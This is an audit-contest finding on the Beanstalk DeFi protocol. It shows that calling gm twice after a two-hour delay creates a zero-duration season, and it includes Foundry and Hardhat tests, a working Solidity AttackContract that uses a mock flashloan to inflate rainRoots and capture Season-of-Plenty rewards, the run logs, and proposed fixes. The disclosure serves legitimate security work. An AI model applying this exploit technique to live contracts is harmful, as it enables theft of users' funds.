DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: medium
Valid

Calling `gm` twice in a single transaction in case of two hours delay

Summary

The protocol assumes that the minimum season duration could not be less than one hour. But, this is not correct, and could lead to critical issues.

A simple example is:

  • Suppose at time 1:00h, the Diamond is initialized. So: s.sys.season.current = 1, s.sys.season.timestamp = 1:00h, s.sys.season.start = 1:00h

  • At time 2:00h, it is not possible to call gm, because (block.timestamp - s.sys.season.start) / s.sys.season.period) = 1 is not bigger than s.sys.season.current

  • At time 3:00h, gm is called. So: s.sys.season.current = 2, s.sys.season.timestamp = 3:00h

  • Suppose, no one calls gm for two hours.

  • At time 5:00h, gm can be called twice.

    • The first call will set s.sys.season.current = 3, s.sys.season.timestamp = 5:00h.

    • The second call will set s.sys.season.current = 4, s.sys.season.timestamp = 5:00h.

  • So, season 3 has duration 0 hours, and season 2 has duration 2 hours.

Vulnerability Details

When the Diamond is initialized through calling the function init(), it sets:

  • s.sys.season.current = 1

  • s.sys.season.timestamp = block.timestamp

  • s.sys.season.start = s.sys.season.period > 0 ? (block.timestamp / s.sys.season.period) * s.sys.season.period : block.timestamp

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/init/InitDiamond.sol#L31

When the function gm is called, it increases the season number by one, if at least one hour is elapsed from the previous season.

function gm(
address account,
LibTransfer.To mode
) public payable fundsSafu noOutFlow returns (uint256) {
//...
require(seasonTime() > s.sys.season.current, "Season: Still current Season.");
uint32 season = stepSeason();
//....
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L53-L54

function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L68

function stepSeason() private returns (uint32 season) {
s.sys.season.current += 1;
season = s.sys.season.current;
s.sys.season.sunriseBlock = uint32(block.number); // Note: Will overflow in the year 3650.
emit Sunrise(season);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L79

There are two issues:

  • First (discrepancy of first season duration with other seasons): It shows that the first season duration must be at least equal to 2 hours, while other seasons duration could be at least one hour. For example, if at time 277h, the function init() is called, season number increases to 1, and season start time sets to 277h (277 * 60 * 60). If we call the function gm at time 278h, it is expected to step the season from 1 to 2, but it will revert. Because, the equation uint32((block.timestamp - s.sys.season.start) / s.sys.season.period) returns 1, while the current season is also 1, so it will revert Season: Still current Season.. So, for the first season, 2 hours must be elapsed to be able to step into season 2.

  • Second (season with zero duration is possible): If no one calls the function gm for two hours, then it is possible to call gm twice in a transaction. In other words, there will be a season with zero duration. For example, if season 5 starts at 282h, and then no one calls gm for two hours. It is possible to call gm at 284h twice in a single transaction where the first call steps the season from 5 to 6, and the second call steps the season from 6 to 7. So, the season 6 has duration of zero hours, and season 5 has duration of 2 hours.

The following foundry test shows both issues:

function test_consecutiveGm() public {
uint period = season.getPeriod();
console.log("season start at: ", season.getSeasonStart() / period);
console.log("season number: ", season.getCurrentSeason());
console.log("next season start at: ", season.getNextSeasonStart() / period);
// first season takes at least 2 hours to be allowed to call gam()
skip(2 * 60 * 60);
console.log("two hours is elapsed. Current time: ", block.timestamp / period);
// stepping from season 1 to season 2
season.sunrise();
console.log("current season number: ", season.getCurrentSeason());
skip(1 * 60 * 60); // 2 => 3
season.sunrise();
skip(1 * 60 * 60); // 3 => 4
season.sunrise();
skip(1 * 60 * 60); // 4 => 5
season.sunrise();
console.log("after 3 seasons, current season number is: ", season.getCurrentSeason());
console.log("Current time: ", block.timestamp / period);
// two hours is elapsed
skip(2 * 60 * 60);
console.log("after two hours, current season number: ", season.getCurrentSeason());
console.log("Current time: ", block.timestamp / period);
// Since two hours is elapsed, and still we are in season 5, it is possible to call sunrise twice
// to step into season 6 and then 7, so season 6 will have zero duration, and season 5 will have duration 2 hours
// stepping from season 5 to season 6
season.sunrise();
console.log("current season number: ", season.getCurrentSeason());
// stepping from season 6 to season 7
season.sunrise();
console.log("current season number: ", season.getCurrentSeason());
}

The output is:

Logs:
season start at: 277
season number: 1
next season start at: 279
two hours is elapsed. Current time: 279
current season number: 2
after 3 seasons, current season number is: 5
Current time: 282
after two hours, current season number: 5
Current time: 284
current season number: 6
current season number: 7

The second issue can lead to a critical situation by exploiting the following two facts:

  • First (deposit and mow in the same transaction to have nonzero root): At time 284h (we are still in season 5), an attacker can deposit, then calls gm to increase the season to 6, then attacker calls mow to update his state and increase his roots due to growing stalks, then attacker calls gm to increase the season to 7. By doing so, the attacker could gain the growing stalk immediately after depositing. Note that this provides a flashloan attack opportunity described later.

  • Second (TWA DeltaB will not look back): When gm is called, to calculate the time weighted average delta B, the difference between current time and the start of previous season is considered for taking average. Since, the season 6 has duration zero, any reserve manipulation (instantaneous price) in that season would be considered for calculating twaDeltaB. Note that this provides a reserve manipulation attack opportunity described later.

The flow of calls is as follows:

SeasonFacet::gm ==> Oracle::stepOracle ==> LibWellMinting::capture ==> LibWellMinting::updateOracle ==> LibWellMinting::twaDeltaB ==> LibWell::getRatiosAndBeanIndex ==> LibUsdOracle::getUsdPrice
function gm(
address account,
LibTransfer.To mode
) public payable fundsSafu noOutFlow returns (uint256) {
//...
int256 deltaB = stepOracle();
//....
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L55

function stepOracle() internal returns (int256 deltaB) {
address[] memory tokens = LibWhitelistedTokens.getWhitelistedWellLpTokens();
for (uint256 i = 0; i < tokens.length; i++) {
deltaB = deltaB.add(LibWellMinting.capture(tokens[i]));
}
s.sys.season.timestamp = block.timestamp;
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/Oracle.sol#L24

function capture(address well) external returns (int256 deltaB) {
//....
if (lastSnapshot.length > 0) {
deltaB = updateOracle(well, lastSnapshot);
}
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Minting/LibWellMinting.sol#L61

function updateOracle(
address well,
bytes memory lastSnapshot
) internal returns (int256 deltaB) {
//...
(deltaB, s.sys.wellOracleSnapshots[well], twaReserves, ratios) = twaDeltaB(
well,
lastSnapshot
);
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Minting/LibWellMinting.sol#L120

function twaDeltaB(
address well,
bytes memory lastSnapshot
) internal view returns (int256, bytes memory, uint256[] memory, uint256[] memory) {
//....
(uint256[] memory ratios, uint256 beanIndex, bool success) = LibWell
.getRatiosAndBeanIndex(tokens, block.timestamp.sub(s.sys.season.timestamp));
//....
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Minting/LibWellMinting.sol#L157

function getRatiosAndBeanIndex(
IERC20[] memory tokens,
uint256 lookback
) internal view returns (uint[] memory ratios, uint beanIndex, bool success) {
//....
else {
ratios[i] = LibUsdOracle.getUsdPrice(address(tokens[i]), lookback);
if (ratios[i] == 0) {
success = false;
}
}
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Well/LibWell.sol#L50

function getUsdPrice(address token, uint256 lookback) internal view returns (uint256) {
if (token == C.WETH) {
uint256 ethUsdPrice = LibEthUsdOracle.getEthUsdPrice(lookback);
if (ethUsdPrice == 0) return 0;
return uint256(1e24).div(ethUsdPrice);
}
if (token == C.WSTETH) {
uint256 wstethUsdPrice = LibWstethUsdOracle.getWstethUsdPrice(lookback);
if (wstethUsdPrice == 0) return 0;
return uint256(1e24).div(wstethUsdPrice);
}
// 1e18 * 1e6 = 1e24.
uint256 tokenPrice = getTokenPriceFromExternal(token, lookback);
if (tokenPrice == 0) return 0;
return uint256(1e24).div(tokenPrice);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Oracle/LibUsdOracle.sol#L49

The full attack is as follows:

  • Suppose, we are in season 5, and the function gm is not called for two hours.

  • Attacker takes WETH flashloan.

  • Attacker swaps WETH for bean in the well. By doing so, the instantaneous price of bean in this well increases.

  • Attacker deposits those beans into the protocol.

  • Attacker calls gm to increase the season from 5 to 6. Note that, although the price of bean is increased in the well, since time weighted average is important, such instantaneous price does not lead to a situation to rain in season 6.

  • Attacker calls mow in season 6 to update its state. By doing so, the growing stalk from season 5 to season 6 will be allocated to the attacker. Moreover, since the attacker deposited large amount of beans (thanks to the flashloan), a large portion of available roots in beanstalk will be assigned to him.

  • Attacker calls gm to increase the season from 6 to 7 (as explained before due to 2 hours delay in calling gm, it is possible to increase the season twice in a single transaction).

  • When gm in season 6 is called, it checks time weighted average over the season 6. Since season 6 has zero duration, the current state of the well (which has low reserve of bean and high reserve of WETH) would be considered as twaDeltaB. If pod rate is also less than %5, then there will be rain in the next season. Thus, season 7 is rainy.

  • In season 7, attacker withdraws all his deposited amount minus one (because if he withdraws fully, his roots would be set to zero, but he does not want to have zero roots as he requires it to claim any possible SoP reward later). During withdrawing, first the function mow is called, and since it is raining, the rainRoots would be set for the attacker equal to his current roots (which is a big number thanks to the large deposit with flashloan).

  • After withdrawing, the attacker swaps bean to WETH in the well.

  • Attacker repays the flashloan.

Now we have the following state:

  • we are in season 7,

  • it is raining,

  • a large rainRoots is assigned to the attacker,

  • attacker has nonzero roots

If during season 7, still the condition P > 1 and podRate < %5 is met, there will be a flood in season 8. When the season 8 starts, the SoP rewards will be allocated to stalkholders with portion of their rainRoots. Since the attacker has large amount of rainRoots, a large portion of SoP rewards will be assigned to him.

function handleRainAndSops(address account, uint32 lastUpdate) internal {
//...
if (s.sys.season.lastSopSeason > lastUpdate) {
address[] memory tokens = LibWhitelistedTokens.getWhitelistedWellLpTokens();
for (uint i; i < tokens.length; i++) {
s.accts[account].sop.perWellPlenty[tokens[i]].plenty = balanceOfPlenty(
account,
tokens[i]
);
}
s.accts[account].lastSop = s.sys.season.lastSop;
}
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Silo/LibFlood.sol#L115

function balanceOfPlenty(address account, address well) internal view returns (uint256 plenty) {
//...
if (lastRainPPR > previousPPR) {
uint256 plentyPerRoot = lastRainPPR - previousPPR;
previousPPR = lastRainPPR;
plenty = plenty.add(
plentyPerRoot.mul(s.accts[account].sop.rainRoots).div(C.SOP_PRECISION)
);
}
//...
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Silo/LibFlood.sol#L169

Test Case

The following full test shows the attack scenario explained above. Please note that taking flashloan process is not included in the test for simplicity. So, just a simple direct transfer is used for emulating the flashloan process.

In this test, a user deposits 10_000 in season 4, and mowed in season 5 (this is just to show the difference of holding amount of rain roots at the end). In season 5, there is a delay of two hours to call sunrise. So, the attacker who deployed the contract AttackContract, calls the function run. In this function, it first gets a flashloan of 9000 WETH, and then swaps them to 900_000 bean. Then deposits those bean in the protocol, and then calls sunrise to step into season 6. In season 6, it calls mow to update the state of grown stalks. By doing so, a large amount of roots will be assigned to the AttackContract, because large amount is deposited thanks to the flashloan.

Then, sunrise is called to step into the season 7. This season is rainy due to the reserve manipulation in season 5 by flashloan, and also because of zero duration of season 6 which makes the twaDeltaB looking at the instant state of the well instead of time-weighted-average. In season 7, it withdraws fully (minus -1) to still have nonzero roots, and then swaps beans to WETH in the well, and repays the flashloan.

It shows that the amount of rain roots assigned to the attacker is 1800000000000000000000000 while to the user2 is just 20000000000000000000000. It means that the amount of rain roots allocated to the attacker is 900 times larger than user2 (because the attacker by using flashloan could make an instantaneous large roots before the rainy season 7).

Note that to have the test run correctly, the following function related to the tests should be corrected as follows:

function rainSunrise() public {
require(!s.sys.paused, "Season: Paused.");
s.sys.season.current += 1;
s.sys.season.sunriseBlock = uint32(block.number);
// update last snapshot in beanstalk.
stepOracle();
mockStartSop();
// this code is added
LibGerminate.endTotalGermination(
s.sys.season.current,
LibWhitelistedTokens.getWhitelistedTokens()
);
}

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/mocks/mockFacets/MockSeasonFacet.sol#L95

const { time } = require("@nomicfoundation/hardhat-network-helpers");
const { expect } = require("chai");
const { deploy } = require("../scripts/deploy.js");
const { EXTERNAL, INTERNAL, INTERNAL_EXTERNAL, INTERNAL_TOLERANT } = require("./utils/balances.js");
const {
BEAN,
BEAN_ETH_WELL,
WETH,
MAX_UINT256,
ZERO_ADDRESS,
BEAN_WSTETH_WELL,
WSTETH
} = require("./utils/constants.js");
const { to18, to6, advanceTime } = require("./utils/helpers.js");
const { deployMockWell, whitelistWell, deployMockWellWithMockPump } = require("../utils/well.js");
const { takeSnapshot, revertToSnapshot } = require("./utils/snapshot.js");
const {
setStethEthChainlinkPrice,
setWstethEthUniswapPrice,
setEthUsdChainlinkPrice
} = require("../utils/oracle.js");
const { getAllBeanstalkContracts } = require("../utils/contracts.js");
const { hasRestParameter } = require("typescript");
let user, user2, owner;
describe("Sop Test Cases", function () {
before(async function () {
[owner, user, user2] = await ethers.getSigners();
const contracts = await deploy((verbose = false), (mock = true), (reset = true));
ownerAddress = contracts.account;
this.diamond = contracts.beanstalkDiamond;
// `beanstalk` contains all functions that the regualar beanstalk has.
// `mockBeanstalk` has functions that are only available in the mockFacets.
[beanstalk, mockBeanstalk] = await getAllBeanstalkContracts(this.diamond.address);
bean = await ethers.getContractAt("Bean", BEAN);
this.weth = await ethers.getContractAt("MockToken", WETH);
mockBeanstalk.deployStemsUpgrade();
await time.increase(2 * 3600);
await mockBeanstalk.sunrise();
await bean.connect(user).approve(beanstalk.address, "100000000000");
await bean.connect(user2).approve(beanstalk.address, "100000000000");
await bean.mint(user.address, to6("1000000"));
await bean.mint(user2.address, to6("1000000"));
// init wells
[this.well, this.wellFunction, this.pump] = await deployMockWellWithMockPump();
await deployMockWellWithMockPump(BEAN_WSTETH_WELL, WSTETH);
await this.well.connect(owner).approve(this.diamond.address, to18("100000000"));
await this.well.connect(user).approve(this.diamond.address, to18("100000000"));
// set reserves at a 1000:1 ratio.
await this.pump.setCumulativeReserves(this.well.address, [to6("1000000"), to18("1000")]);
await this.well.mint(ownerAddress, to18("500"));
await this.well.mint(user.address, to18("500"));
await time.increase(3600);
await mockBeanstalk.sunrise();
await mockBeanstalk.captureWellE(this.well.address);
await setEthUsdChainlinkPrice("1000");
await setStethEthChainlinkPrice("1000");
await setStethEthChainlinkPrice("1");
await setWstethEthUniswapPrice("1");
await time.increase(3600);
await mockBeanstalk.sunrise(); // 3 -> 4
await beanstalk.connect(user2).deposit(bean.address, to6("10000"), EXTERNAL);
await time.increase(3600);
await mockBeanstalk.sunrise(); // 4 -> 5
await beanstalk.mow(user2.address, bean.address);
});
beforeEach(async function () {
snapshotId = await takeSnapshot();
});
afterEach(async function () {
await revertToSnapshot(snapshotId);
});
describe("Flashloan attack", async function () {
it("two hours delay flashloan attack", async function () {
const AttackContract = await ethers.getContractFactory("AttackContract");
// attackContract = await AttackContract.deploy("Silo", "SILO");
let attackContract = await AttackContract.deploy(this.well.address, this.pump.address, beanstalk.address, bean.address);
await attackContract.deployed();
// 900_000 bean are transferred to attack contract
// this amount is used to simulate geting WETH flashloan, and then swapping them to bean
// in other words, the attack contract gets WETH flashloan and then swaps them to bean in the well, so
// for simplicity (to not code the flashloan process), 900_000 beans is transferred directly to the attack contract
// to simulate the action of getting WETH flashloan, and swapping them to bean
await bean.connect(user).transfer(attackContract.address, to6("900000"));
// transferring just 1 wei bean to have clean math later
// this is not necessary, it is just for having numbers without decimal/fractional part
await bean.connect(user).transfer(attackContract.address, 1);
console.log("current season: ", await beanstalk.season()); // 5
const reserves1 = await this.well.getReserves();
console.log("reserve0: ", reserves1[0]);
console.log("reserve1: ", reserves1[1]);
console.log("current time: ", Math.ceil((await time.latest()) / 3600));
await time.increase(2 * 3600);
console.log("after two hours, time: ", Math.ceil((await time.latest()) / 3600));
// two hours is elapsed but sunrise is not called, so the attacker executes the attack
// attacker executes the attack
await attackContract.run();
let attackContractRain = await beanstalk.balanceOfSop(attackContract.address);
console.log("attackContract.lastRain: ", attackContractRain.lastRain);
console.log("attackContract.rainRoots: ", attackContractRain.roots);
await beanstalk.mow(user2.address, bean.address);
let user2Rain = await beanstalk.balanceOfSop(user2.address);
console.log("user2.lastRain: ", user2Rain.lastRain);
console.log("user2.rainRoots: ", user2Rain.roots);
});
});
})

The output is:

Flashloan attack
current season: 5
reserve0: BigNumber { value: "1000000000000" }
reserve1: BigNumber { value: "1000000000000000000000" }
current time: 477791
after two hours, time: 477793
amount: 900000000000
bdv: 9000000000000000
stem: 8000000
attackContract.lastRain: 7
attackContract.rainRoots: BigNumber { value: "1800000000000000000000000" }
user2.lastRain: 7
user2.rainRoots: BigNumber { value: "20000000000000000000000" }

The AttackContract is:

/*
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.20;
import "hardhat/console.sol";
interface IMockWell {
function setReserves(uint256[] memory reserves) external;
}
interface IMockPump {
function setInstantaneousReserves(address well, uint[] memory _instantaneousReserves) external;
}
interface IBeanstalk {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
function deposit(
address,
uint256,
From
) external returns (uint256 amount, uint256 _bdv, int96 stem);
function siloSunrise(uint256 amount) external;
function mow(address account, address token) external payable;
function rainSunrise() external;
function withdrawDeposit(address token, int96 stem, uint256 amount, To) external payable;
function claimPlenty(address well, To) external;
function sunrise() external payable returns (uint256);
}
interface IERC20 {
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract AttackContract {
IMockWell iMockWell;
IMockPump iMockPump;
IBeanstalk iBeanstalk;
address well;
address bean;
address flashloanContract;
constructor(
address _addressMockWell,
address _addressMockPump,
address _addressBeanstalk,
address _bean
) {
iMockWell = IMockWell(_addressMockWell);
iMockPump = IMockPump(_addressMockPump);
iBeanstalk = IBeanstalk(_addressBeanstalk);
bean = _bean;
// just to simulate that the address who is transferring weth/bean to this contract is flashloan contract
flashloanContract = address(0x1);
}
function run() public {
// attacker gets flashloan of 9000 WETH
// attacker swaps 9000 WETH for 900_000 bean
// this swap changes the instantaneous reserve of bean from 1_000_000 to 100_000, and WETH from 1000 to 10_000
// since TWA of reserves are considered, only instantaneous reserves is changed, so this swap does not impact on the next season to rain
uint256[] memory reserves = new uint256[](2);
reserves[0] = 1_000_000 * 10 ** 6;
reserves[1] = 1000 * 10 ** 18;
iMockWell.setReserves(reserves);
// swapping 9000 WETH to 900_000 bean, changes the instantaneous reserves of bean and WETH to 100_000 and 10_000
uint256[] memory instantReserves = new uint256[](2);
instantReserves[0] = 100_000 * 10 ** 6;
instantReserves[1] = 10_000 * 10 ** 18;
iMockPump.setInstantaneousReserves(address(iMockWell), instantReserves);
// depositing 900_000 bean into beanstalk
IERC20(bean).approve(address(iBeanstalk), 900_000 * 10 ** 6);
(uint256 amount, uint256 bdv, int96 stem) = iBeanstalk.deposit(
bean,
900_000 * 10 ** 6,
IBeanstalk.From.EXTERNAL
);
console.log("amount: ", amount);
console.log("bdv: ", bdv);
console.log("stem: ", uint256(int256(stem)));
// sunrise is called to inrease the season from 5 to 6
iBeanstalk.sunrise(); // 5 => 6
// mow is called so the growing stalk from season 5 to 6 are assigned to the attack contract
// roots would be nonzero
iBeanstalk.mow(address(this), bean);
// since season 6 has zero duration, the instant reserve will be considered when calculating twaDeltaB
iMockWell.setReserves(instantReserves);
iMockPump.setInstantaneousReserves(address(iMockWell), instantReserves);
// price of bean in season 6 is high, if podrate < %5, we have rain in season 7
iBeanstalk.rainSunrise(); // 6 => 7
// withdraws all the deposited amount - 1
// because if withdraw fully, roots would be zero, and possible sop rewards will not be claimable
iBeanstalk.withdrawDeposit(bean, stem, (900_000 * 10 ** 6) - 1, IBeanstalk.To.EXTERNAL);
// to simulate that the beans are swapped back to WETH, and then transferred to flashloan contract
iMockWell.setReserves(reserves);
iMockPump.setInstantaneousReserves(address(iMockWell), reserves);
// the beans are transferred to the fake flashloan contract
IERC20(bean).transfer(flashloanContract, 900_000 * 10 ** 6);
}
}

Impact

  • Making a large fake roots in case of two hours delay in calling gm

  • Stealing the SoP rewards in case there is two hours delay to call gm.

Tools Used

Recommendations

There are many solutions, one possible solution is that to disallow stepping to another season if the timestamp of the current season is eqaul to the current time.

function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
///////// modification
require(block.timestamp != s.sys.season.timestamp, "the current season cannot have zero duration");
////////
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}

Or to enforce to have at least one hour duration:

function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
///////// modification
require((block.timestamp - s.sys.season.timestamp) >= s.sys.season.period, "the current season cannot less than one period duration");
////////
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flashloan attack after calling gm twice

Appeal created

fyamf Submitter
about 1 year ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

flashloan attack after calling gm twice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.